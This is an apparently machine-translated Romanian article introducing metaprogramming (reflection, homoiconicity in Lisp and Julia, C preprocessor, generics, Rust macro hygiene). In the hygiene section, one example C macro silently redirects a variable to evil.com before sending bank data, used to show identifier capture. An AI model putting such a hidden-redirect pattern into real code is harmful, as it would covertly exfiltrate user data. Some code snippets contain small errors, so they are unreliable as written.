Codul de scriere a codului: o introducere în teoria și practica metaprogramarii moderne

Publicat: 2022-07-22

Ori de câte ori mă gândesc la cel mai bun mod de a explica macrocomenzi, îmi amintesc de un program Python pe care l-am scris când am început prima dată să programez. Nu am putut să-l organizez așa cum mi-am dorit. A trebuit să apelez un număr de funcții ușor diferite, iar codul a devenit greoi. Ceea ce căutam – deși nu știam atunci – era metaprogramarea .

metaprogramare (substantiv)

Orice tehnică prin care un program poate trata codul ca date.

Putem construi un exemplu care demonstrează aceleași probleme pe care le-am confruntat cu proiectul meu Python, imaginându-ne că construim partea din spate a unei aplicații pentru proprietarii de animale de companie. Folosind instrumentele dintr-o bibliotecă, pet_sdk , scriem Python pentru a ajuta proprietarii de animale de companie să cumpere hrană pentru pisici:

 import pet_sdk cats = pet_sdk.get_cats() print(f"Found {len(cats)} cats!") for cat in cats: pet_sdk.order_cat_food(cat, amount=cat.food_needed)
Fragment 1: Comandați mâncare pentru pisici

După ce confirmăm că codul funcționează, trecem la implementarea aceleiași logică pentru încă două tipuri de animale de companie (păsări și câini). Adăugăm, de asemenea, o funcție pentru a rezerva întâlniri la veterinar:

 # An SDK that can give us information about pets - unfortunately, the functions are slightly different for each pet import pet_sdk # Get all of the birds, cats, and dogs in the system, respectively birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: print(f"Checking information for cat {cat.name}") if cat.hungry(): pet_sdk.order_cat_food(cat, amount=cat.food_needed) cat.clean_litterbox() if cat.sick(): available_vets = pet_sdk.find_vets(animal="cat") if len(available_vets) > 0: vet = available_vets[0] vet.book_cat_appointment(cat) for dog in dogs: print(f"Checking information for dog {dog.name}") if dog.hungry(): pet_sdk.order_dog_food(dog, amount=dog.food_needed) dog.walk() if dog.sick(): available_vets = pet_sdk.find_vets(animal="dog") if len(available_vets) > 0: vet = available_vets[0] vet.book_dog_appointment(dog) for bird in birds: print(f"Checking information for bird {bird.name}") if bird.hungry(): pet_sdk.order_bird_food(bird, amount=bird.food_needed) bird.clean_cage() if bird.sick(): available_vets = pet_sdk.find_birds(animal="bird") if len(available_vets) > 0: vet = available_vets[0] vet.book_bird_appointment(bird)
Fragment 2: Comandați hrană pentru pisici, câini și păsări; Rezervați o programare la veterinar

Ar fi bine să condensăm logica repetitivă a fragmentului 2 într-o buclă, așa că ne-am propus să rescriem codul. Ne dăm repede seama că, deoarece fiecare funcție este numită diferit, nu putem determina pe care (de exemplu, book_bird_appointment , book_cat_appointment ) să o apelăm în bucla:

 import pet_sdk all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: # What now?
Fragment 3: Ce acum?

Să ne imaginăm o versiune turbo de Python în care putem scrie programe care generează automat codul final pe care ni-l dorim — unul în care ne putem manipula programul în mod flexibil, ușor și fluid, ca și cum ar fi o listă, date dintr-un fișier sau orice altceva. alt tip de date comun sau intrare de program:

 import pet_sdk for animal in ["cat", "dog", "bird"]: animals = pet_sdk.get_{animal}s() # When animal is "cat", this # would be pet_sdk.get_cats() for animal in animal: pet_sdk.order_{animal}_food(animal, amount=animal.food_needed) # When animal is "dog" this would be # pet_sdk.order_dog_food(dog, amount=dog.food_needed)
Fragment 4: TurboPython: un program imaginar

Acesta este un exemplu de macrocomandă , disponibilă în limbi precum Rust, Julia sau C, pentru a numi câteva, dar nu și Python.

Acest scenariu este un exemplu grozav al modului în care ar putea fi util să scrieți un program care este capabil să modifice și să manipuleze propriul cod. Aceasta este tocmai atracția macrocomenzilor și este unul dintre multele răspunsuri la o întrebare mai mare: Cum putem face ca un program să-și introspecteze propriul cod, tratându-l ca date și apoi să acționăm în baza acelei introspecții?

În linii mari, toate tehnicile care pot realiza o astfel de introspecție se încadrează sub termenul general de „metaprogramare”. Metaprogramarea este un subdomeniu bogat în proiectarea limbajului de programare și poate fi urmărită până la un concept important: codul ca date.

Reflecție: În apărarea lui Python

Ați putea sublinia că, deși Python poate să nu ofere suport pentru macro, oferă o mulțime de alte moduri de a scrie acest cod. De exemplu, aici folosim metoda isinstance() pentru a identifica clasa pentru care variabila animal este o instanță și pentru a apela funcția corespunzătoare:

 # An SDK that can give us information about pets - unfortunately, the functions # are slightly different import pet_sdk def process_animal(animal): if isinstance(animal, pet_sdk.Cat): animal_name_type = "cat" order_food_fn = pet_sdk.order_cat_food care_fn = animal.clean_litterbox elif isinstance(animal, pet_sdk.Dog): animal_name_type = "dog" order_food_fn = pet_sdk.order_dog_food care_fn = animal.walk elif isinstance(animal, pet_sdk.Bird): animal_name_type = "bird" order_food_fn = pet_sdk.order_bird_food care_fn = animal.clean_cage else: raise TypeError("Unrecognized animal!") print(f"Checking information for {animal_name_type} {animal.name}") if animal.hungry(): order_food_fn(animal, amount=animal.food_needed) care_fn() if animal.sick(): available_vets = pet_sdk.find_vets(animal=animal_name_type) if len(available_vets) > 0: vet = available_vets[0] # We still have to check again what type of animal it is if isinstance(animal, pet_sdk.Cat): vet.book_cat_appointment(animal) elif isinstance(animal, pet_sdk.Dog): vet.book_dog_appointment(animal) else: vet.book_bird_appointment(animal) all_animals = pet_sdk.get_birds() + pet_sdk.get_cats() + pet_sdk.get_dogs() for animal in all_animals: process_animal(animal)
Fragmentul 5: Un exemplu idiomatic

Numim acest tip de reflecție de metaprogramare și vom reveni la el mai târziu. Codul fragmentului 5 este încă puțin greoi, dar mai ușor de scris pentru un programator decât al fragmentului 2, în care am repetat logica pentru fiecare animal listat.

Provocare

Folosind metoda getattr , modificați codul precedent pentru a apela în mod dinamic funcțiile corespunzătoare order_*_food și book_*_appointment . Acest lucru face codul mai puțin lizibil, dar dacă cunoașteți bine Python, merită să vă gândiți la modul în care ați putea folosi getattr în loc de funcția isinstance și să simplificați codul.


Omoiconicitate: importanța Lisp

Unele limbaje de programare, cum ar fi Lisp, duc conceptul de metaprogramare la un alt nivel prin homoiconicitate .

homoiconicitate (substantiv)

Proprietatea unui limbaj de programare prin care nu există nicio distincție între cod și datele pe care funcționează un program.

Lisp, creat în 1958, este cel mai vechi limbaj homoiconic și al doilea cel mai vechi limbaj de programare de nivel înalt. Obținându-și numele de la „List Processor”, Lisp a fost o revoluție în calcul, care a modelat profund modul în care computerele sunt utilizate și programate. Este greu de exagerat cât de fundamental și distinct a influențat Lisp programarea.

Emacs este scris în Lisp, care este singurul limbaj de calculator care este frumos. Neal Stephenson

Lisp a fost creat la doar un an după FORTRAN, în epoca cardurilor perforate și a computerelor militare care umpleau o cameră. Cu toate acestea, programatorii încă folosesc Lisp astăzi pentru a scrie aplicații noi și moderne. Creatorul principal al lui Lisp, John McCarthy, a fost un pionier în domeniul AI. Timp de mulți ani, Lisp a fost limbajul AI, cercetătorii apreciand capacitatea de a-și rescrie în mod dinamic propriul cod. Cercetarea AI de astăzi este centrată pe rețelele neuronale și modelele statistice complexe, mai degrabă decât pe acel tip de cod de generare logică. Cu toate acestea, cercetările efectuate asupra AI folosind Lisp – în special cercetările efectuate în anii ’60 și ’70 la MIT și Stanford – au creat domeniul așa cum îl cunoaștem, iar influența sa masivă continuă.

Apariția lui Lisp i-a expus pe programatorii timpurii la posibilitățile practice de calcul ale lucrurilor precum recursiunea, funcțiile de ordin superior și listele legate pentru prima dată. De asemenea, a demonstrat puterea unui limbaj de programare construit pe ideile calculului lambda.

Aceste noțiuni au declanșat o explozie în proiectarea limbajelor de programare și, așa cum a spus Edsger Dijkstra, unul dintre cele mai mari nume din informatică, [...] i-au ajutat pe un număr dintre cei mai talentați semeni ai noștri să gândească până atunci imposibile.”

Acest exemplu arată un program simplu Lisp (și echivalentul său în sintaxa Python mai familiară) care definește o funcție „factorială” care calculează recursiv factorialul intrării sale și apelează acea funcție cu intrarea „7”:

Lisp Piton
( defun factorial ( n ) ( if ( = n 1 ) 1 ( * n ( factorial ( - n 1 ))))) ( print ( factorial 7 ))
 def factorial (n) : if n == 1 : return 1 else : return n * factorial(n -1 ) print(factorial( 7 ))

Cod ca date

În ciuda faptului că este una dintre cele mai de impact și mai importante inovații ale lui Lisp, homoiconicitatea, spre deosebire de recursivitate și de multe alte concepte pe care Lisp a fost pionier, nu a ajuns în majoritatea limbajelor de programare de astăzi.

Următorul tabel compară funcțiile homoiconice care returnează cod atât în ​​Julia, cât și în Lisp. Julia este un limbaj homoiconic care, în multe privințe, seamănă cu limbajele de nivel înalt cu care ați putea fi familiar (de exemplu, Python, Ruby).

Piesa cheie de sintaxă din fiecare exemplu este caracterul său de ghilimele . Julia folosește un : (virgulă) pentru a cita, în timp ce Lisp folosește un ' (ghilimele simple):

Julia Lisp
function function_that_returns_code() return :(x + 1 ) end
 ( defun function_that_returns_code () '(+ x 1 ))

În ambele exemple, citatul de lângă expresia principală ( (x + 1) sau (+ x 1) ) o transformă din cod care ar fi fost evaluat direct într-o expresie abstractă pe care o putem manipula. Funcția returnează cod, nu un șir sau date. Dacă ar fi să ne apelăm funcția și să scriem print(function_that_returns_code()) , Julia ar tipări codul înșirat ca x+1 (și echivalentul este adevărat pentru Lisp). Dimpotrivă, fără : (sau ' în Lisp), am obține o eroare că x nu a fost definit.

Să revenim la exemplul nostru Julia și să-l extindem:

 function function_that_returns_code(n) return :(x + $n) end my_code = function_that_returns_code(3) print(my_code) # Prints out (x + 3) x = 1 print(eval(my_code)) # Prints out 4 x = 3 print(eval(my_code)) # Prints out 6
Fragment 6: Exemplu Julia extins

Funcția eval poate fi folosită pentru a rula codul pe care îl generăm din altă parte a programului. Rețineți că valoarea imprimată se bazează pe definiția variabilei x . Dacă am încerca să eval codul nostru generat într-un context în care x nu a fost definit, am primi o eroare.

Omoiconicitatea este un tip puternic de metaprogramare, capabil să deblocheze paradigme noi și complexe de programare în care programele se pot adapta din mers, generând cod pentru a se potrivi problemelor specifice domeniului sau noilor formate de date întâlnite.

Luați cazul WolframAlpha, unde limbajul omoiconic Wolfram poate genera cod pentru a se adapta la o gamă incredibilă de probleme. Îl poți întreba pe WolframAlpha, „Care este PIB-ul orașului New York împărțit la populația Andorrei?” și, în mod remarcabil, primesc un răspuns logic.

Pare puțin probabil ca cineva să se gândească vreodată să includă acest calcul obscur și fără rost într-o bază de date, dar Wolfram folosește metaprogramarea și un grafic de cunoaștere ontologică pentru a scrie cod din mers pentru a răspunde la această întrebare.

Este important să înțelegem flexibilitatea și puterea pe care Lisp și alte limbi homoiconice le oferă. Înainte de a merge mai departe, să luăm în considerare câteva dintre opțiunile de metaprogramare pe care le aveți la dispoziție:

Definiție Exemple Note
Homoiconicitate O caracteristică a limbajului în care codul este date „de primă clasă”. Deoarece nu există nicio separare între cod și date, cele două pot fi folosite interschimbabil.
  • Lisp
  • Prolog
  • Julia
  • Rebol/Roșu
  • Limba Wolfram
Aici, Lisp include alte limbi din familia Lisp, cum ar fi Scheme, Racket și Clojure.
Macro-uri O instrucțiune, funcție sau expresie care ia codul ca intrare și returnează codul ca rezultat.
  • macro_rules! , Derive și macrocomenzi procedurale
  • @macro ale Juliei
  • defmacro -ul lui Lisp
  • #define lui C
(Vezi următoarea notă despre macrocomenzile lui C.)
Directive preprocesor (sau precompilator) Un sistem care ia un program ca intrare și, pe baza instrucțiunilor incluse în cod, returnează o versiune modificată a programului ca ieșire.
  • Macro-urile lui C
  • Sistemul de # preprocesor C++
Macro-urile lui C sunt implementate folosind sistemul de preprocesor al lui C, dar cele două sunt concepte separate.

Diferența conceptuală cheie dintre macrocomenzile lui C (în care folosim directiva #define preprocesor) și alte forme de directive C preprocesor (de exemplu, #if și #ifndef ) este că folosim macrocomenzi pentru a genera cod în timp ce folosim alte non- #define directive de preprocesor pentru a compila în mod condiționat alt cod. Cele două sunt strâns legate în C și în alte limbi, dar sunt tipuri diferite de metaprogramare.
Reflecţie Capacitatea unui program de a examina, modifica și introspecta propriul cod.
  • Python isinstance , getattr , funcții
  • Reflect și typeof JavaScript
  • getDeclaredMethods de la Java
  • Sistemul .NET. System.Type claselor de tip
Reflecția poate avea loc în timpul compilării sau în timpul executării.
generice Abilitatea de a scrie cod care este valabil pentru un număr de tipuri diferite sau care poate fi utilizat în mai multe contexte, dar stocat într-un singur loc. Putem defini contextele în care codul este valabil fie explicit, fie implicit.

Generice în stil șablon:

  • C++
  • Rugini
  • Java

Polimorfismul parametric:

  • Haskell
  • ML
Programarea generică este un subiect mai larg decât metaprogramarea generică, iar linia dintre cele două nu este bine definită.

În opinia acestui autor, un sistem de tip parametric contează ca metaprogramare doar dacă este într-un limbaj tipizat static.
O referință pentru metaprogramare

Să ne uităm la câteva exemple practice de homoiconicitate, macrocomenzi, directive de preprocesor, reflecție și generice scrise în diferite limbaje de programare:

 # Prints out "Hello Will", "Hello Alice", by dynamically creating the lines of code say_hi = :(println("Hello, ", name)) name = "Will" eval(say_hi) name = "Alice" eval(say_hi)
Fragmentul 7: Omoiconicitatea în Julia
 int main() { #ifdef _WIN32 printf("This section will only be compiled for and run on windows!\n"); windows_only_function(); #elif __unix__ printf("This section will only be compiled for and run on unix!\n"); unix_only_function(); #endif printf("This line runs regardless of platform!\n"); return 1; }
Fragmentul 8: Directivele de preprocesor în C
 from pet_sdk import Cat, Dog, get_pet pet = get_pet() if isinstance(pet, Cat): pet.clean_litterbox() elif isinstance(pet, Dog): pet.walk() else: print(f"Don't know how to help a pet of type {type(pet)}")
Fragmentul 9: Reflecție în Python
 import com.example.coordinates.*; interface Vehicle { public String getName(); public void move(double xCoord, double yCoord); } public class VehicleDriver<T extends Vehicle> { // This class is valid for any other class T which implements // the Vehicle interface private final T vehicle; public VehicleDriver(T vehicle) { System.out.println("VehicleDriver: " + vehicle.getName()); this.vehicle = vehicle; } public void goHome() { this.vehicle.move(HOME_X, HOME_Y); } public void goToStore() { this.vehicle.move(STORE_X, STORE_Y); } }
Fragmentul 10: generice în Java
 macro_rules! print_and_return_if_true { ($val_to_check: ident, $val_to_return: expr) => { if ($val_to_check) { println!("Val was true, returning {}", $val_to_return); return $val_to_return; } } } // The following is the same as if for each of x, y, and z, // we wrote if x { println!...} fn example(x: bool, y: bool, z: bool) -> i32 { print_and_return_if_true!(x, 1); print_and_return_if_true!(z, 2); print_and_return_if_true!(y, 3); }
Fragmentul 11: macrocomenzi în Rust

Macro-urile (ca cea din Snippet 11) devin din nou populare într-o nouă generație de limbaje de programare. Pentru a le dezvolta cu succes, trebuie să luăm în considerare un subiect cheie: igiena.

Macro-uri igienice și neigienice

Ce înseamnă ca codul să fie „igienic” sau „neigienic”? Pentru a clarifica, să ne uităm la o macrocomandă Rust, instanțiată de macro_rules! funcţie. După cum sugerează și numele, macro_rules! generează cod pe baza regulilor pe care le definim. În acest caz, am numit macrocomanda my_macro , iar regula este „Creați linia de cod let x = $n ”, unde n este intrarea noastră:

 macro_rules! my_macro { ($n) => { let x = $n; } } fn main() { let x = 5; my_macro!(3); println!("{}", x); }
Fragmentul 12: Igiena în rugină

Când ne extindem macrocomandă (rulând o macrocomandă pentru a înlocui invocarea acesteia cu codul pe care îl generează), ne-am aștepta să obținem următoarele:

 fn main() { let x = 5; let x = 3; // This is what my_macro!(3) expanded into println!("{}", x); }
Fragmentul 13: Exemplul nostru, extins

Aparent, macro-ul nostru a redefinit variabila x la 3, așa că ne putem aștepta în mod rezonabil ca programul să imprime 3 . De fapt, imprimă 5 ! Uimit? În Rust, macro_rules! este igienic în ceea ce privește identificatorii, deci nu ar „captura” identificatori în afara domeniului său de aplicare. În acest caz, identificatorul a fost x . Dacă ar fi fost capturat de macro, ar fi fost egal cu 3.

igiena (substantiv)

O proprietate care garantează că extinderea unei macrocomenzi nu va capta identificatori sau alte stări din afara domeniului macrocomenzii. Macro-urile și macrosistemele care nu oferă această proprietate sunt numite neigienice .

Igiena în macro-uri este un subiect oarecum controversat în rândul dezvoltatorilor. Susținătorii insistă că, fără igienă, este prea ușor să modifici subtil comportamentul codului tău din întâmplare. Imaginați-vă o macrocomandă care este semnificativ mai complexă decât Fragmentul 13 utilizat în cod complex cu multe variabile și alți identificatori. Ce se întâmplă dacă macrocomandă ar folosi una dintre aceleași variabile ca și codul dvs. și nu ați observat?

Nu este neobișnuit ca un dezvoltator să folosească o macrocomandă dintr-o bibliotecă externă fără să fi citit codul sursă. Acest lucru este obișnuit în special în limbile mai noi care oferă suport macro (de exemplu, Rust și Julia):

 #define EVIL_MACRO website="https://evil.com"; int main() { char *website = "https://good.com"; EVIL_MACRO send_all_my_bank_data_to(website); return 1; }
Fragmentul 14: O macrocomandă C malefic

Această macrocomandă neigienică în C captează website de identificare și îi schimbă valoarea. Desigur, capturarea identificatorului nu este rău intenționată. Este doar o consecință accidentală a utilizării macrocomenzilor.

Deci, macro-urile igienice sunt bune, iar macro-urile neigienice sunt rele, nu? Din păcate, nu este atât de simplu. Există un argument puternic de făcut că macro-urile igienice ne limitează. Uneori, capturarea identificatorului este utilă. Să revedem fragmentul 2, unde folosim pet_sdk pentru a oferi servicii pentru trei tipuri de animale de companie. Codul nostru original a început astfel:

 birds = pet_sdk.get_birds() cats = pet_sdk.get_cats() dogs = pet_sdk.get_dogs() for cat in cats: # Cat specific code for dog in dogs: # Dog specific code # etc…
Fragmentul 15: Înapoi la veterinar—Recheming pet sdk

Vă veți aminti că Fragmentul 3 a fost o încercare de a condensa logica repetitivă a Fragmentului 2 într-o buclă all-inclusive. Dar dacă codul nostru depinde de identificatorii cats și dogs și am vrut să scriem ceva de genul următor:

 {animal}s = pet_sdk.get{animal}s() for {animal} in {animal}s: # {animal} specific code
Fragment 16: Captură utilă de identificare (în „TurboPython” imaginar)

Fragmentul 16 este puțin simplu, desigur, dar imaginați-vă un caz în care am dori ca o macrocomandă să scrie 100% dintr-o anumită porțiune de cod. Macro-urile igienice ar putea fi limitative într-un astfel de caz.

În timp ce dezbaterea macro-igienică versus neigienică poate fi complexă, vestea bună este că nu este una în care trebuie să iei o poziție. Limbajul pe care îl utilizați determină dacă macrocomenzile dvs. vor fi igienice sau neigienice, așa că rețineți acest lucru atunci când utilizați macrocomenzi.

Macro-uri moderne

Macro-urile au un pic acum. Pentru o lungă perioadă de timp, accentul limbajelor de programare imperative moderne s-a deplasat de la macro-uri ca parte esențială a funcționalității lor, evitându-le în favoarea altor tipuri de metaprogramare.

Limbile pe care programatorii noi le predau în școli (de exemplu, Python și Java) le-au spus că tot ce au nevoie este reflecție și generice.

De-a lungul timpului, pe măsură ce acele limbaje moderne au devenit populare, macrourile au devenit asociate cu sintaxa intimidantă a preprocesoarelor C și C++ - dacă programatorii le cunoșteau deloc.

Odată cu apariția lui Rust și Julia, tendința s-a reîntors la macro-uri. Rust și Julia sunt două limbaje moderne, accesibile și utilizate pe scară largă care au redefinit și popularizat conceptul de macrocomandă cu câteva idei noi și inovatoare. Acest lucru este deosebit de interesant în Julia, care pare gata să ia locul lui Python și R ca un limbaj versatil ușor de utilizat, „cu baterii incluse”.

Când ne-am uitat prima dată la pet_sdk prin ochelarii noștri „TurboPython”, ceea ce ne-am dorit cu adevărat a fost ceva de genul Julia. Să rescriem fragmentul 2 în Julia, folosind omoiconicitatea sa și unele dintre celelalte instrumente de metaprogramare pe care le oferă:

 using pet_sdk for (pet, care_fn) = (("cat", :clean_litterbox), ("dog", :walk_dog), ("dog", :clean_cage)) get_pets_fn = Meta.parse("pet_sdk.get_${pet}s") @eval begin local animals = $get_pets_fn() #pet_sdk.get_cats(), pet_sdk.get_dogs(), etc. for animal in animals animal.$care_fn # animal.clean_litterbox(), animal.walk_dog(), etc. end end end
Fragmentul 17: Puterea macrocomenzilor Juliei — Faceți pet_sdk funcționeze pentru noi

Să descompunem fragmentul 17:

  1. Iterăm prin trei tupluri. Prima dintre acestea este ("cat", :clean_litterbox) , deci variabila pet de companie este atribuită "cat" , iar variabila care_fn este atribuită simbolului citat :clean_litterbox .
  2. Folosim funcția Meta.parse pentru a converti un șir într-o Expression , astfel încât să îl putem evalua ca cod. În acest caz, dorim să folosim puterea interpolării șirurilor, unde putem pune un șir în altul, pentru a defini ce funcție să apelăm.
  3. Folosim funcția eval pentru a rula codul pe care îl generăm. @eval begin… end este un alt mod de a scrie eval(...) pentru a evita retastarea codului. În interiorul blocului @eval se află codul pe care îl generăm dinamic și rulăm.

Sistemul de metaprogramare al Juliei ne eliberează cu adevărat să exprimăm ceea ce vrem așa cum ne dorim. Am fi putut folosi alte câteva abordări, inclusiv reflecția (cum ar fi Python în Fragmentul 5). De asemenea, am fi putut scrie o funcție macro care generează în mod explicit codul pentru un anumit animal, sau am fi putut genera întregul cod ca șir și am fi folosit Meta.parse sau orice combinație a acestor metode.

Dincolo de Julia: Alte sisteme moderne de metaprogramare

Julia este poate unul dintre cele mai interesante și convingătoare exemple ale unui sistem macro modern, dar nu este, în niciun caz, singurul. Rust, de asemenea, a jucat un rol esențial în aducerea macrocomenzilor în fața programatorilor.

În Rust, macrocomenzile apar mult mai central decât în ​​Julia, deși nu vom explora acest lucru pe deplin aici. Din multe motive, nu puteți scrie Rust idiomatic fără a utiliza macrocomenzi. În Julia, totuși, ai putea alege să ignori complet homoiconicitatea și sistemul macro.

Ca o consecință directă a acestei centralități, ecosistemul Rust a îmbrățișat cu adevărat macro-urile. Membrii comunității au construit niște biblioteci, dovezi de concept și funcții incredibil de interesante cu macrocomenzi, inclusiv instrumente care pot serializa și deserializa datele, pot genera automat SQL sau chiar pot converti adnotările rămase în cod într-un alt limbaj de programare, toate generate în cod la timpul de compilare.

În timp ce metaprogramarea lui Julia ar putea fi mai expresivă și mai liberă, Rust este probabil cel mai bun exemplu de limbaj modern care ridică metaprogramarea, deoarece este prezentă în mod semnificativ în limbaj.

Un ochi spre viitor

Acum este un moment incredibil pentru a fi interesat de limbajele de programare. Astăzi, pot scrie o aplicație în C++ și o pot rula într-un browser web sau pot scrie o aplicație în JavaScript pentru a rula pe un desktop sau pe telefon. Barierele la intrare nu au fost niciodată mai mici, iar programatorii noi au informații la îndemână ca niciodată înainte.

În această lume a alegerii și libertății programatorilor, avem din ce în ce mai mult privilegiul de a folosi limbaje bogate, moderne, care aleg caracteristici și concepte din istoria informaticii și limbaje de programare anterioare. Este incitant să vezi macrocomenzi preluate și curățate de praf în acest val de dezvoltare. Abia aștept să văd ce vor face dezvoltatorii unei noi generații, când Rust și Julia le vor introduce macrocomenzi. Amintiți-vă, „cod ca date” este mai mult decât un simplu slogan. Este o ideologie de bază de reținut atunci când discutăm despre metaprogramare în orice comunitate online sau cadru academic.

„Cod ca date” este mai mult decât un simplu slogan.

Tweet

Istoria de 64 de ani a metaprogramarii a fost parte integrantă a dezvoltării programării așa cum o cunoaștem astăzi. În timp ce inovațiile și istoria pe care le-am explorat sunt doar un colț al sagăi de metaprogramare, ele ilustrează puterea robustă și utilitatea metaprogramării moderne.